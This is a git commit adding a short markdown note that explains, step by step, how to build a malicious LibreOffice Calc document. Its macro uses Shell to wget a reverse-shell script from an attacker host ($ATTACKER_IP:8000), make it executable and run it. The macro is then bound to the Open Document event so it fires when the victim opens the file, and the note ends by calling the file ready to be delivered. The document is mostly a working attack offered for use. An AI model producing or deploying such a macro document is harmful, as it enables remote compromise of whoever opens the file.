added Macro exploit

This commit is contained in:
whackx 2023-08-04 22:42:09 +02:00
parent efec1c5cd9
commit 74e0c3e76a
1 changed files with 27 additions and 0 deletions

View File

@ -0,0 +1,27 @@
# Libre Office
## Create Macros
This is taken from [James Gallagher's James on Hacking](https://jamesonhacking.blogspot.com/2022/03/using-malicious-libreoffice-calc-macros.html) page.
Go to the following menu options
```sh
Tools --> Macros --> Organize Macros --> Basic
```
In the windows that has opened, click on the name of the document you created and choose `New`.
Place your payload in the function, for example
```sh
Sub Main
Shell("wget http://$ATTACKER_IP:8000/rshell.sh")
Shell("chmod +x rshell.sh ; bash -c ./rshell.sh")
End Sub
```
Close the `Organize Macros` windows and go to
```
Tools --> Macros --> Organize Macros --> Events --> Open Document
```
Choose the Macro created before and save the document. The file is ready to be delivered.